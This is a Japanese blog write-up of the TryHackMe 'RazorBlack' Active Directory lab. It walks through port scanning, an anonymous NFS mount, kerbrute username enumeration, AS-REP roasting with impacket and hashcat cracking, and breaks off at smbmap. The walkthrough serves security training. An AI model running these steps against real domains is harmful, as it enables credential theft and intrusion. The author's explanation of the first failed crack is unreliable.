0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

TryHackMe Writeup: RazorBlack

0
Last updated at Posted at 2026-04-22

はじめに

本記事は、TryHackMeのwriteupです。
RoomはRazorBlack、Difficulty(難易度)はMediumです。

このRoomでは、RazorBlackにおけるActive Direcctoryの脆弱性を用いた攻撃手法について学ぶことができます。

Recon

Port Scan

Scanned at 2026-04-12 18:55:34 JST for 184s

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 126 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-04-12 09:55:41Z)
111/tcp   open  rpcbind       syn-ack ttl 126 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 126 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: raz0rblack.thm, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 126
464/tcp   open  kpasswd5?     syn-ack ttl 126
593/tcp   open  ncacn_http    syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 126
2049/tcp  open  nlockmgr      syn-ack ttl 126 1-4 (RPC #100021)
3268/tcp  open  ldap          syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: raz0rblack.thm, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 126
3389/tcp  open  ms-wbt-server syn-ack ttl 126 Microsoft Terminal Services
| ssl-cert: Subject: commonName=HAVEN-DC.raz0rblack.thm
| Issuer: commonName=HAVEN-DC.raz0rblack.thm
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-11T09:21:25
| Not valid after:  2026-10-11T09:21:25
| MD5:     a230 04df e97b caee 9120 3179 4429 cdfb
| SHA-1:   c666 a050 a3f1 3a5e 402f a6d8 94e1 839b 18e4 9a23
| SHA-256: 5085 038f cc9c 45cc 140a d1de a443 e10d 9a6f 92ea 0731 3424 9fab ff35 ad3b 17c5
| -----BEGIN CERTIFICATE-----
| MIIC8jCCAdqgAwIBAgIQPmueA59oTqlO/Cyo1lsWbDANBgkqhkiG9w0BAQsFADAi
| MSAwHgYDVQQDExdIQVZFTi1EQy5yYXowcmJsYWNrLnRobTAeFw0yNjA0MTEwOTIx
| MjVaFw0yNjEwMTEwOTIxMjVaMCIxIDAeBgNVBAMTF0hBVkVOLURDLnJhejByYmxh
| Y2sudGhtMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxFWiSgsZ03ng
| JHGTYsqpupeZr4i/Rs6jnbDIng7Nk+nDKSyEKB6bLLasSUkHA79OL502oKGZ1XtX
| 9cZDGwbEhTWWqFHQ4yzsKELDruT4luOnTTxmDp8avW/6+6kTW6dL6jrpRFRJukXC
| vexfUvg/m2gXCmPFli4hIS5yAoC5NcxyRVSfv/WCtZykYgz4VbZLOAwlxY6Ps5BF
| mOQPhMj7AkCGRO32CQCpxt3IoKqffitGhTRRB2pwkZIl8H5+R7gXYan5AEltAXel
| FuAKqH0lCrq+5uFcnd/XV2tlASMZC0iEGoiXRRC9JGXu9ayh+E2bvh7WojON9nWY
| g2/qvvumcQIDAQABoyQwIjATBgNVHSUEDDAKBggrBgEFBQcDATALBgNVHQ8EBAMC
| BDAwDQYJKoZIhvcNAQELBQADggEBAJqgCZW3dGdnhGrgCkcDhIPlnYT8YQNawwlo
| Jg66c08rJxGIrU2CNcCN9eRGVg8VpycVf471Oualiy73/dgwVhu2EjJWn0sRWNAu
| RkNuXpuIn+C3/xD9pL172uJuRlG7zq6q77a3jqV0eQfCY/ExHwqZkGGsFEjbCX2o
| xmpS1VQTRKpfxyP25OEWjttN2D9clUWtaD88zQRKCUvO5zYcDx/UpD6Se9WTJmla
| /C0H6TzN7pd7iR53DUNg1ZnqOcYFw3aYzcKLLCTVczfyPV7oleeM1GSUjMYX2a3O
| +jxgQf2h5WxR95UuZFpCrl6dFjLShs7pWpy5/EQnQ6jiML6xuhE=
|_-----END CERTIFICATE-----
| rdp-ntlm-info: 
|   Target_Name: RAZ0RBLACK
|   NetBIOS_Domain_Name: RAZ0RBLACK
|   NetBIOS_Computer_Name: HAVEN-DC
|   DNS_Domain_Name: raz0rblack.thm
|   DNS_Computer_Name: HAVEN-DC.raz0rblack.thm
|   Product_Version: 10.0.17763
|_  System_Time: 2026-04-12T09:56:38+00:00
|_ssl-date: 2026-04-12T09:56:47+00:00; 0s from scanner time.
5985/tcp  open  http          syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack ttl 126 .NET Message Framing
47001/tcp open  http          syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49673/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49677/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49692/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49704/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49850/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
Service Info: Host: HAVEN-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-04-12T09:56:39
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 54723/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 17354/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 37117/udp): CLEAN (Timeout)
|   Check 4 (port 13561/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:58
Completed NSE at 18:58, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:58
Completed NSE at 18:58, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:58
Completed NSE at 18:58, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.63 seconds
           Raw packets sent: 32 (1.384KB) | Rcvd: 29 (1.272KB)

上記ポートスキャンの結果を基に調査を行います。

ここで、Domain Nameを確認することができました。
 

What is the Domain Name?

Answer: raz0rblack.thm

enum4linux

Sambaを介して情報を抽出できるツールを使用します。

Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Apr 12 20:14:35 2026

 =========================================( Target Information )=========================================
                                                                                                                              
Target ........... [target_ip]                                                                                               
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ============================( Enumerating Workgroup/Domain on [target_ip] )============================
                                                                                                                              
                                                                                                                              
[E] Can't find workgroup/domain                                                                                               
                                                                                                                              
                                                                                                                              

 ================================( Nbtstat Information for [target_ip] )================================
                                                                                                                              
Looking up status of [target_ip]                                                                                             
No reply from [target_ip]

 ===================================( Session Check on [target_ip] )===================================
                                                                                                                              
                                                                                                                              
[+] Server [target_ip] allows sessions using username '', password ''                                                        
                                                                                                                              
                                                                                                                              
 ================================( Getting domain SID for [target_ip] )================================
                                                                                                                              
Domain Name: RAZ0RBLACK                                                                                                       
Domain Sid: S-1-5-21-3403444377-2687699443-13012745

[+] Host is part of a domain (not a workgroup)                                                                                
                                                                                                                              
                                                                                                                              
 ===================================( OS information on [target_ip] )===================================
                                                                                                                              
                                                                                                                              
[E] Can't get OS info with smbclient                                                                                          
                                                                                                                              
                                                                                                                              
[+] Got OS info for [target_ip] from srvinfo:                                                                                
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED                                                        


 =======================================( Users on [target_ip] )=======================================
                                                                                                                              
                                                                                                                              
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED                                                          
                                                                                                                              
                                                                                                                              

[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED                                                           
                                                                                                                              
                                                                                                                              
 =================================( Share Enumeration on [target_ip] )=================================
                                                                                                                              
do_connect: Connection to [target_ip] failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)                                       

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on [target_ip]                                                                                  
                                                                                                                              
                                                                                                                              
 ============================( Password Policy Information for [target_ip] )============================
                                                                                                                              
Password:                                                                                                                     

[E] Unexpected error from polenum:                                                                                            
                                                                                                                              
                                                                                                                              

[+] Attaching to [target_ip] using a NULL share

[+] Trying protocol 139/SMB...

        [!] Protocol failed: Cannot request session (Called Name:10.49.134.14)

[+] Trying protocol 445/SMB...

        [!] Protocol failed: SAMR SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.



[E] Failed to get password policy with rpcclient                                                                              
                                                                                                                              
                                                                                                                              

 =======================================( Groups on [target_ip] )=======================================
                                                                                                                              
                                                                                                                              
[+] Getting builtin groups:                                                                                                   
                                                                                                                              
                                                                                                                              
[+]  Getting builtin group memberships:                                                                                       
                                                                                                                              
                                                                                                                              
[+]  Getting local groups:                                                                                                    
                                                                                                                              
                                                                                                                              
[+]  Getting local group memberships:                                                                                         
                                                                                                                              
                                                                                                                              
[+]  Getting domain groups:                                                                                                   
                                                                                                                              
                                                                                                                              
[+]  Getting domain group memberships:                                                                                        
                                                                                                                              
                                                                                                                              
 ==================( Users on [target_ip] via RID cycling (RIDS: 500-550,1000-1050) )==================
                                                                                                                              
                                                                                                                              
[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED.  RID cycling not possible.                                                     
                                                                                                                              
                                                                                                                              
 ===============================( Getting printer info for [target_ip] )===============================
                                                                                                                              
do_cmd: Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED                                                       


enum4linux complete on Sun Apr 12 20:16:06 2026

Scanning

$ nxc smb [target_ip]
[*] First time use detected
[*] Creating home directory structure
[*] Creating missing folder logs
[*] Creating missing folder modules
[*] Creating missing folder workspaces
[*] Creating missing folder obfuscated_scripts
[*] Creating missing folder screenshots
[*] Creating missing folder logs/sam
[*] Creating missing folder logs/lsa
[*] Creating missing folder logs/ntds
[*] Creating missing folder logs/dpapi
[*] Creating default workspace
[*] Initializing SMB protocol database
[*] Initializing LDAP protocol database
[*] Initializing MSSQL protocol database
[*] Initializing WMI protocol database
[*] Initializing SSH protocol database
[*] Initializing RDP protocol database
[*] Initializing FTP protocol database
[*] Initializing NFS protocol database
[*] Initializing VNC protocol database
[*] Initializing WINRM protocol database
[*] Copying default configuration file
SMB         [target_ip]     445    HAVEN-DC         [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:None) (Null Auth:True)

一旦、 Sambaがあることを確認した

$ nxc winrm [target_ip]                 
WINRM       [target_ip]     5985   HAVEN-DC         [*] Windows 10 / Server 2019 Build 17763 (name:HAVEN-DC) (domain:raz0rblack.thm)

また、winrmが存在していることも確認した

しかし、smbにもwinrmに対して接続するためのクレデンシャル情報がないため、他のアプローチを考える必要があります。

ファイルシステムにリモート・マウントがされているかを見ます。

$ showmount -e [target_ip]
Export list for [target_ip]:
/users (everyone)

すると、/users (everyone)になっており、誰でもファイルをマウントできることがわかります。

そのため、実際にマウントを試みます。

$ mkdir /mnt/tryhackme

$ sudo mount -t nfs p[target_ip]:/users /mnt/tryhackme -o nolock

$ ls -la /mnt/tryhackme  
ls: ディレクトリ '/mnt/tryhackme' を開くことが出来ません: 許可がありません

$ sudo ls -n /mnt/tryhackme       
合計 13
-rwx------ 1 65534 65534 9861  2月 26  2021 employee_status.xlsx
-rwx------ 1 65534 65534   80  2月 26  2021 sbradley.txt


$ sudo cat ./tryhackme/sbradley.txt
��THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}

よって、Stevenのフラグを取得することができました。
 

What is Steven's Flag?

Answer: THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}

また、/users (everyone)の中には、employee_status.xlsxというexcelsファイルがあったため、cpコマンドで、コピーした後にファイルの権限を自分の権限に変更します。

# 自分のホームディレクトリなどにコピーする
$ cp /mnt/tryhackme/employee_status.xlsx ~/employee_status.xlsx

# コピーしたファイルの権限を自分に変更する
$ chmod 644 ~/employee_status.xlsx

xlsx2csvツールを用いて、xlsxをcsvに変換することで閲覧できます。

$ xlsx2csv employee_status.xlsx
HAVEN SECRET HACKER's CLUB,,,,,,,,,,,
,,,,,,,,,,,
,,,,,,,,,,,
,,,,,,,,,,,
Name's,,,Role,,,,,,,,
daven port,,,CTF PLAYER,,,,,,,,
imogen royce,,,CTF PLAYER,,,,,,,,
tamara vidal,,,CTF PLAYER,,,,,,,,
arthur edwards,,,CTF PLAYER,,,,,,,,
carl ingram,,,CTF PLAYER (INACTIVE),,,,,,,,
nolan cassidy,,,CTF PLAYER,,,,,,,,
reza zaydan,,,CTF PLAYER,,,,,,,,
ljudmila vetrova,,,"CTF PLAYER, DEVELOPER,ACTIVE DIRECTORY ADMIN",,,,,,,,
rico delgado,,,WEB SPECIALIST,,,,,,,,
tyson williams,,,REVERSE ENGINEERING,,,,,,,,
steven bradley,,,STEGO SPECIALIST,,,,,,,,
chamber lin,,,CTF PLAYER(INACTIVE),,,,,,,,

このような結果から、コンピュータで使用されているであろうユーザー名の一覧が取得できました。

Exploitation

ここ、一つ思い出してほしいことがあります。

ポートスキャンの結果から、Kerberosのポート88番が空いていることが確認できます。

88/tcp    open  kerberos-sec  syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-04-12 09:55:41Z)

よって、Windows Active Directory環境におけるKerberos事前認証の脆弱性を悪用できるかもしれません。

そこで、以下のツールを用いて、実際にkerberos認証の事前認証ブルートフォース攻撃およびユーザー列挙を実行してみましょう。

先ほど取集したユーザ名一覧をもとに、頭文字の名前+苗字もワードリストを含めて、new_users.txtを作成します。

$ cat << EOF > new_users.txt
dport
dporten
davenport
iroyce
royce
imogen.royce
tvidal
vidal
tamara.vidal
aedwards
edwards
arthur.edwards
cingram
ingram
carl.ingram
ncassidy
cassidy
nolan.cassidy
rzaydan
zaydan
reza.zaydan
lvetrova
vetrova
ljudmila.vetrova
rdelgado
delgado
rico.delgado
twilliams
williams
tyson.williams
sbradley
bradley
steven.bradley
clin
lin
chamber.lin
EOF

インストール後、以下のように実行します。

$ ./kerbrute userenum --dc [target_ip] -d raz0rblack.thm ./tryhackme/new_users.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (9cfb81e) - 04/14/26 - Ronnie Flathers @ropnop

2026/04/14 00:34:09 >  Using KDC(s):
2026/04/14 00:34:09 >   10.49.148.202:88

2026/04/14 00:34:10 >  [+] VALID USERNAME:       lvetrova@raz0rblack.thm
2026/04/14 00:34:10 >  [+] twilliams has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$twilliams@RAZ0RBLACK.THM:daf1fe237a61c335725510f6c579e3a0$4a53fbd9c59c289ddc068eecdedb483fe8b6bf0922a5d74462f52a3c3142ecd2efc0aec1968ac9a62dc0a82aa53b612b780700ec8080465d169281d637e2002087502116fbcd0f8e907fff1049e4b88358646d299c6d0fb09919a02636bd0968fad2d2d039f940d7e48e75df18455eb90a62b7085a23b03b842cd24edec0a853e8732dfc619f8aa4cb1a7a60457582b9c97b92931ed34392da8cd0341fbfe2161cc23a27c4587979c71bab4a7e25591edd4f4f8d9a533e50a3f125f2ce453285242651df19b2d6abccce982aee3c0f3a14a3b08383dc42eb195cd9a57cb7bdd3675113fa1dec13280aa0bdabfd3bb9d9b96c54c7fc8c8122f073ed5500e10dbf306a2f20                                                                                                                                                                
2026/04/14 00:34:10 >  [+] VALID USERNAME:       twilliams@raz0rblack.thm
2026/04/14 00:34:10 >  [+] VALID USERNAME:       sbradley@raz0rblack.thm
2026/04/14 00:34:10 >  Done! Tested 36 usernames (3 valid) in 0.965 seconds

よって、twilliamsのAS-REP Hashを引き抜くことができました。このハッシュを解読してみます。

$ hashcat -m 18200 twilliams.hash /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-skylake-avx512-AMD Ryzen 5 PRO 8640HS w/ Radeon 760M Graphics, 4779/9558 MB (2048 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 515 MB (7854 MB free)

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Approaching final keyspace - workload adjusted.           

Session..........: hashcat                                
Status...........: Exhausted
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$18$twilliams@RAZ0RBLACK.THM:e09ded0ea11b...04fb1d
Time.Started.....: Tue Apr 14 00:06:57 2026 (2 secs)
Time.Estimated...: Tue Apr 14 00:06:59 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  5866.9 kH/s (1.39ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: !carolyn -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Temp: 88c Util: 71%

Started: Tue Apr 14 00:06:41 2026
Stopped: Tue Apr 14 00:07:00 2026

しかし、このハッシュはキャッシュが当たってしまい、嘘のハッシュだとわかります。
こういう場合、ハッシュを引き抜く際に、ハッシュの出力フォーマットが違うのかもしれません。

別のアプローチとして、impacket-GetNPUsersを用いて、直接、事前認証を悪用してみましょう。

$ impacket-GetNPUsers  raz0rblack.thm/ -no-pass -usersfile /home/rikuxx/tryhackme/new_users.txt -dc-ip [target_ip]
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User lvetrova doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
$krb5asrep$23$twilliams@RAZ0RBLACK.THM:c9ec2988dc30ca8a4c2fe7e70bfb4fd1$d21845ebf7e1d9a554fdfd8e789c87da23fbd0d94202e2e928683499fc7d2f0e129318be5f4856185d155b5135ba8b2eb26282124ec93d029c229df497f658acca3fd01b6cb7cd9aeec05678f7e892338dfe3b2d86c6696c674784d465d94069ef25debd7384a0c65017315c70e6d818574f755d70ff524090ab7ea71289a156b650579e8c183351ec78ef7048dcc0f70a3116e462fa48d9071c5a790a40e1ee12a6863333ffc03bfbbbb0f47d2df3f556e79de2fb380b5d8e48f412d226734a6ce42b7172a655d82a070de7dfa529401423a84111e0b7b19ba5d0a0e95ad0bf896ddf478c34c0c701098d733304f967
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User sbradley doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

すると、先ほどと異なったAS-REP Hashを取得できました。これを実際に解読してみます。

hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-skylake-avx512-AMD Ryzen 5 PRO 8640HS w/ Radeon 760M Graphics, 4779/9558 MB (2048 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 515 MB (6897 MB free)

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$krb5asrep$23$twilliams@RAZ0RBLACK.THM:c9ec2988dc30ca8a4c2fe7e70bfb4fd1$d21845ebf7e1d9a554fdfd8e789c87da23fbd0d94202e2e928683499fc7d2f0e129318be5f4856185d155b5135ba8b2eb26282124ec93d029c229df497f658acca3fd01b6cb7cd9aeec05678f7e892338dfe3b2d86c6696c674784d465d94069ef25debd7384a0c65017315c70e6d818574f755d70ff524090ab7ea71289a156b650579e8c183351ec78ef7048dcc0f70a3116e462fa48d9071c5a790a40e1ee12a6863333ffc03bfbbbb0f47d2df3f556e79de2fb380b5d8e48f412d226734a6ce42b7172a655d82a070de7dfa529401423a84111e0b7b19ba5d0a0e95ad0bf896ddf478c34c0c701098d733304f967:[cracked_password]
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$twilliams@RAZ0RBLACK.THM:c9ec2988dc30...04f967
Time.Started.....: Tue Apr 14 00:49:41 2026 (1 sec)
Time.Estimated...: Tue Apr 14 00:49:42 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  5933.9 kH/s (1.36ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4227072/14344385 (29.47%)
Rejected.........: 0/4227072 (0.00%)
Restore.Point....: 4214784/14344385 (29.38%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: robmar7 -> rmhaey
Hardware.Mon.#01.: Temp: 60c Util: 33%

Started: Tue Apr 14 00:49:40 2026
Stopped: Tue Apr 14 00:49:43 2026

なんと、パスワードをクラックすることができました。
このパスワードを手元に控えておきましょう。

特定した情報をもとに有益な情報を抜けないかを検証します。

Netexecでもいいですが、自分はSMBMapで共有フォルダがないかを検証しました。

$ smbmap -H [target_ip] -u "twilliams" -p "[cracked_password]"         

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
